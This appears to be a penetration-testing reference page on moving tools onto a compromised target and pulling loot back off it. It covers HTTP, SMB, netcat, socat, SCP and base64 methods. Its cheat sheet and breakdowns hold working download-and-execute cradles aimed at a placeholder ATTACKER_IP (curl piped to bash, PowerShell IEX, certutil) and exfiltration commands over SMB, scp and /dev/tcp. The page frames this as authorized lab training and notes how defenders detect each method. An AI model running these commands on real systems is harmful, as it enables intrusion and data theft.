Getting Files onto a Target

A foothold shell is rarely the finish line: you almost always need to push your own tooling across (an enumerator, a static binary, a privesc tool) or pull loot back. There is no single best way, so the right method depends on the target OS, the utilities it has, which ports are open, and how quiet you need to be. This page is both the quick reference and the map: every method’s key commands in one place, each linked to its deep-dive guide.

Mental model: serve on your box, pull on the target - python3 -m http.server 8000 then wget http://ATTACKER_IP:8000/tool. Flip to listen and send (nc, ssh) when the target cannot reach back to you.

New to file transfer? Core concepts
  • Serve and pull: run a server on your box, the target fetches from it, python3 -m http.server 8000 then wget
  • Push and receive: one side opens a listener, the other sends, nc -lvnp 4444 > and nc -N HOST <
  • Attacker box vs target: ATTACKER_IP is your machine, TARGET_IP is the authorized box; direction decides which side serves or encodes
  • Egress / reachability: whether the target can open a connection back to you decides the shape; test it before you commit to a method
  • Writable temp dirs: land files in /tmp or /dev/shm on Linux, C:\Windows\Temp or %TEMP% on Windows
  • Executable bit: a Linux binary needs chmod +x before it runs; a script piped straight to bash does not
  • Checksum: sha256sum (Linux) or Get-FileHash (Windows) proves the bytes arrived byte-for-byte intact
  • Cleartext vs encrypted: HTTP and plain netcat expose the file on the wire; SSH and socat OPENSSL hide it
When to move a file over the wire (and when not)

Reach for it when you have a foothold and need to move your own tooling onto the box (an enumerator, a static binary, a privesc tool) or pull loot back, and the file is not already reachable another way. The method follows the network: serve-and-pull when the target can reach you, push-and-receive when it cannot.

Reach for something else when the session already carries files for you: evil-winrm and Metasploit’s Meterpreter have built-in upload/download, RDP has drive redirection, and a tool the target already has (git, pip, a mounted share) may fetch it natively. For sensitive files prefer the encrypted, authenticated path (scp-ssh-transfer) over cleartext HTTP or netcat.

Install, update, verify#

# Debian / Ubuntu / Kali - the utilities these methods rely on
sudo apt install -y python3 curl wget netcat-openbsd socat openssh-client coreutils
sudo apt install -y impacket-scripts     # provides impacket-smbserver (or: pipx install impacket)

# Fedora / RHEL
sudo dnf install -y python3 curl wget nmap-ncat socat openssh-clients coreutils

sudo apt install --only-upgrade -y curl wget socat   # update the client tools
python3 -c 'import http.server'        # no output means the HTTP server module is present
impacket-smbserver -h 2>&1 | head -1   # confirm impacket is installed and on PATH
nc -h 2>&1 | head -1                    # netcat present (usage prints to stderr)
socat -V | head -1                      # socat version
base64 --version | head -1              # GNU coreutils base64 (confirms -w0 works)
command -v python3 nc scp base64        # everything on PATH

On a Windows target you install nothing: certutil, bitsadmin, and PowerShell are already present, which is the whole point of the Windows-native methods.

Flags you’ll actually use#

Skim these first; the cheat sheet below is these commands combined.

CommandDoesCommandDoes
python3 -m http.server 8000Serve cwd over HTTP (attacker)wget URL -O /tmp/fPull to a path (Linux target)
impacket-smbserver share . -smb2supportHost an SMB share (attacker)curl URL -o f && chmod +x fPull, then make it runnable (Linux)
nc -lvnp 4444 > fListen and save the bytes (receiver)certutil -urlcache -f URL outPull over HTTP (Windows)
nc -N HOST 4444 < fConnect and send a file (sender)iwr URL -OutFile fPull over HTTP (PowerShell)
scp f USER@HOST:/tmp/fCopy over SSH (encrypted, both ways)net use Z: \\IP\shareMap an SMB share (Windows)
base64 -w0 f / base64 -dEncode / decode a text-only blobsha256sum f / Get-FileHash fVerify both ends match

Cheat sheet#

Each block starts simple and adds one option at a time, so you can stop at the line that does the job.

# Serve a folder from your box: stop at the line you need (attacker)
python3 -m http.server 8000               # 1. serve cwd on :8000, GET only
php -S 0.0.0.0:8000                        #    ...or PHP when python is absent
updog -p 8000                              #    ...or updog when you also need UPLOAD back

# Pull onto a Linux target
wget http://ATTACKER_IP:8000/tool -O /tmp/tool     # save to a writable dir
curl http://ATTACKER_IP:8000/tool -o /tmp/tool     # same, with curl
chmod +x /tmp/tool                                  # a binary must be executable
curl http://ATTACKER_IP:8000/script.sh | bash       # run a SCRIPT without touching disk

# Pull onto a Windows target (all built-in, nothing to install)
certutil -urlcache -f http://ATTACKER_IP:8000/t.exe C:\Windows\Temp\t.exe   # every host
bitsadmin /transfer j /download /priority normal http://ATTACKER_IP:8000/t.exe C:\Windows\Temp\t.exe
iwr http://ATTACKER_IP:8000/t.exe -OutFile C:\Windows\Temp\t.exe -UseBasicParsing
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/x.ps1')   # .ps1 in memory

# SMB: bidirectional, blends with normal Windows traffic
impacket-smbserver share . -smb2support -username lab -password Lab1234    # attacker
net use Z: \\ATTACKER_IP\share /user:lab Lab1234                            # target: map it
copy Z:\tool.exe C:\Windows\Temp\tool.exe                                   # pull tooling
copy C:\Users\v\Desktop\flag.txt \\ATTACKER_IP\share\flag.txt               # push loot BACK
smbclient //ATTACKER_IP/share -U lab%Lab1234 -c "get tool.sh; put loot.tar" # Linux client

# netcat / socat: raw TCP when there is no server
nc -lvnp 4444 > out.bin           # receiver: listen and save
nc -N HOST 4444 < file            # sender: connect and send (-N closes on EOF)
socat -u TCP-LISTEN:4444,reuseaddr OPEN:out.bin,creat   # socat receiver
socat -u FILE:file TCP:HOST:4444                          # socat sender
socat -u OPENSSL-LISTEN:4444,reuseaddr,cert=server.pem,verify=0 OPEN:out.bin,creat  # encrypted
cat file > /dev/tcp/HOST/4444     # bash-only sender, no nc needed

# SCP / SSH: encrypted, authenticated, either direction
scp ./file USERNAME@TARGET_IP:/tmp/file        # upload
scp USERNAME@TARGET_IP:/path/file ./file        # download / exfil
scp -r ./dir USERNAME@TARGET_IP:/tmp/dir        # a whole directory
chmod 600 id_rsa ; scp -P 2222 -i id_rsa ./file USERNAME@TARGET_IP:/tmp/file  # key + odd port
cat file | ssh USERNAME@TARGET_IP 'cat > /tmp/file'    # pipe when scp is missing

# base64: paste through a text-only channel (no egress at all)
base64 -w0 file                    # source: one unwrapped line to copy
echo 'PASTE' | base64 -d > /tmp/f  # dest: decode back to bytes

# Verify EVERY transfer (silent truncation is the #1 "will not run" cause)
sha256sum file /tmp/f                               # Linux, both ends must match
Get-FileHash C:\Windows\Temp\f -Algorithm SHA256   # Windows

Command breakdowns#

Each block below explains one situation, the exact command, and what to expect.

Serve a folder over HTTP from your attacker box#

cd ~/labs/box/serve && python3 -m http.server 8000

Every file in that folder is now at http://ATTACKER_IP:8000/<name>. It is GET-only and needs nothing on the target. Use php -S 0.0.0.0:8000 if python is missing, or updog -p 8000 when you also need the target to upload back. Full detail in http-file-transfer.

Pull a file onto a Linux target#

wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/linpeas.sh
curl http://ATTACKER_IP:8000/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy

Save into /tmp or /dev/shm (both world-writable). A binary needs chmod +x before it runs; a script does not until you execute it.

Run a script in memory without writing it to disk#

curl http://ATTACKER_IP:8000/linpeas.sh | bash

The script never lands on disk, handy when the filesystem is watched or read-only. Only pipe scripts this way; a binary must be saved, not piped, or it just prints garbage.

Download a file on Windows with certutil#

certutil -urlcache -f http://ATTACKER_IP:8000/winpeas.exe C:\Windows\Temp\wp.exe

-urlcache -f forces a fresh fetch to the given path. certutil is present on every Windows host, which is also why EDR flags it loudly. See windows-download-methods.

Download on Windows when certutil is blocked#

bitsadmin /transfer j /download /priority normal http://ATTACKER_IP:8000/t.exe C:\Windows\Temp\t.exe
iwr http://ATTACKER_IP:8000/t.exe -OutFile C:\Windows\Temp\t.exe -UseBasicParsing
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP:8000/t.exe','C:\Windows\Temp\t.exe')

BITS works when certutil is policy-blocked; iwr is the modern PowerShell way (-UseBasicParsing helps on older or headless hosts); WebClient covers old PowerShell where iwr is awkward.

Load a PowerShell script straight into memory#

IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1')

Downloads a .ps1 and runs it in the session with no disk artifact, the usual way PowerView and PowerUp are loaded. It is prime AMSI and script-block-logging (event 4104) territory, so expect it to be logged.

Host an SMB share and pull with native Windows tools#

impacket-smbserver share . -smb2support -username lab -password Lab1234   # attacker
net use Z: \\ATTACKER_IP\share /user:lab Lab1234
copy Z:\tool.exe C:\Windows\Temp\tool.exe

Modern Windows refuses guest SMB, so run the server authenticated and supply the same creds to net use. Traffic blends with everyday Windows activity. See smb-file-transfer.

Push loot back off a Windows target over SMB#

copy C:\Users\victim\Desktop\flag.txt \\ATTACKER_IP\share\flag.txt

SMB is bidirectional, the advantage a plain HTTP server lacks: the same share the target pulls tooling from also receives files pushed back to your box.

Move a file with netcat when there is no server#

nc -lvnp 4444 > out.bin        # receiver: whoever should END UP with the file
nc -N HOST 4444 < file         # sender: -N closes cleanly on EOF

A TCP connection is just a pipe: > receives, < sends. Pick which box listens by direction, then checksum, because netcat does no integrity checking. See netcat-file-transfer.

Encrypt a raw transfer with socat#

socat -u OPENSSL-LISTEN:4444,reuseaddr,cert=server.pem,verify=0 OPEN:out.bin,creat   # receiver
socat -u FILE:file OPENSSL:TARGET_IP:4444,verify=0                                    # sender

The OPENSSL address wraps the transfer in TLS, so the bytes are not cleartext on the wire like plain nc. socat also signals EOF reliably, avoiding netcat’s hang-at-the-end.

Transfer a file when the box has no netcat#

cat file > /dev/tcp/HOST/4444

Bash can talk raw TCP through the /dev/tcp builtin even when nc is absent, invaluable on stripped-down images. The other side still needs a listener (nc, socat, or another bash /dev/tcp).

Copy a file to a target over SSH#

scp ./linpeas.sh USERNAME@TARGET_IP:/tmp/linpeas.sh
chmod 600 id_rsa ; scp -P 2222 -i id_rsa ./tool USERNAME@TARGET_IP:/tmp/tool

scp is cp over SSH: encrypted, authenticated, integrity-checked, no extra service to stand up. A recovered key must be chmod 600 or ssh refuses it; note scp uses -P for the port. See scp-ssh-transfer.

Pull a file back over SSH (exfil)#

scp USERNAME@TARGET_IP:/home/USERNAME/flag.txt ./flag.txt
scp -r USERNAME@TARGET_IP:/var/backups ./backups

The only thing that changes between upload and download is which argument is the user@host: remote. -r pulls a whole directory.

Transfer over SSH when the scp binary is missing#

cat tool.sh | ssh USERNAME@TARGET_IP 'cat > /tmp/tool.sh'
ssh USERNAME@TARGET_IP 'tar czf - /var/backups' > backups.tgz

Piping over ssh works on stripped images that run sshd but lack the scp binary. The second line tars a directory on the fly and streams it back as one archive.

Move a file through a text-only channel with base64#

base64 -w0 file                              # source: one pasteable line
echo 'PASTE_BASE64' | base64 -d > /tmp/file  # dest: decode back to bytes

When every real transfer is blocked (no HTTP, SMB, SCP), encode the bytes to printable ASCII, paste them across whatever channel you have, and decode. Best for small files. See base64-transfer.

Verify a transfer landed intact#

sha256sum tool                 # source (attacker)
sha256sum /tmp/tool            # destination (Linux target)
Get-FileHash C:\Windows\Temp\tool.exe -Algorithm SHA256   # Windows target

The two hashes must match exactly. A silent truncation or a proxy-mangled download is the classic reason a freshly transferred tool “will not run”; the checksum catches it instantly.

Reading the output#

There is no silent method; the most important thing to read after a transfer is whether it landed and what it left behind.

  • python3 -m http.server prints one line per fetch: TARGET_IP - - [..] "GET /tool HTTP/1.1" 200 -. A 404 there means the wrong folder or filename.
  • certutil ends with CertUtil: -URLCache command completed successfully. Anything else means it was blocked or the path was bad.
  • A netcat transfer that never returns to the prompt is not done, it is missing EOF. Add -N or -q0 to the sender.
  • The only trustworthy “it worked” is a matching checksum. A silent truncation looks like success everywhere else.
MethodOn the wireOn the host / logs
HTTPCleartext file and the GET requestProxy logs the fetch; curl | bash shows in shell history
Windows downloadersCleartext HTTPcertutil -urlcache and cradles hit script-block log 4104, AMSI, EDR
SMBAuthenticated, blends inLogon events; a share mapped to a foreign IP is unusual
netcat / socatCleartext on an odd port (plain nc)Listener and /dev/tcp show in process accounting
SCP / SSHEncrypted, bytes hiddenAuth events logged; a large transfer can trip DLP
base64 pasteNothing (no network traffic)Huge command line plus a LOLBin, loud to auditd / Sysmon

Troubleshooting#

ProblemCauseFix
Target cannot reach your serverEgress filtering or wrong IPServe on 80/443; confirm ATTACKER_IP; or pivot first
404 on the targetWrong serving folder or filenamecd into the right dir; check the exact name
Transferred binary will not runTruncated download, or no +xChecksum both ends; chmod +x
certutil blockedAV / EDR or policyTry bitsadmin, PowerShell, or an SMB share
SMB copy hangs or access denied445 filtered, or guest blockedRun the server authenticated; confirm 445 is reachable
netcat hangs at the endNo EOF signal from the senderAdd -N or -q0
Permissions ... too open (ssh key)Recovered key is world-readablechmod 600 id_rsa
scp: command not found on targetNo scp binary presentPipe over ssh instead
base64 checksum mismatchWrapping or a truncated pasteRe-encode -w0, copy the whole line, or chunk it

Gotchas#

  • Pick the method by direction, not preference. If the target cannot open a connection back to you, an HTTP or SMB server is useless; open a listener (nc) or ride an existing service (ssh) instead.
  • Only pipe scripts into a shell, never binaries. curl ... | bash is fine for a .sh; a binary must be saved to disk and chmod +x, or it prints garbage and does nothing.
  • /dev/shm beats /tmp when disk is watched or read-only - it is world-writable and memory-backed, so nothing touches the disk.
  • scp uses -P for the port, ssh uses -p. Swapping the case is a five-minute head-scratcher that looks like a network problem.
  • On Windows, never write a binary with > or Out-File - both re-encode to UTF-16 and corrupt the bytes; use certutil -decode or PowerShell WriteAllBytes.
  • Encryption hides the bytes, not the session. SSH conceals file contents but still logs the login and the transfer volume, and large exfil is exactly what DLP flags.

Pairs with#

nmap confirms which ports are actually open before you commit to a method, and chisel tunnels first when nothing is directly routable. Once you hold an interactive session, evil-winrm and Metasploit’s Meterpreter have built-in upload/download, so you rarely need these methods there. The tools you most often move this way are linpeas, winpeas, and pspy; sha256sum and Get-FileHash are the non-negotiable companions on both ends. Browse the file-transfer tag for every method in one place.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop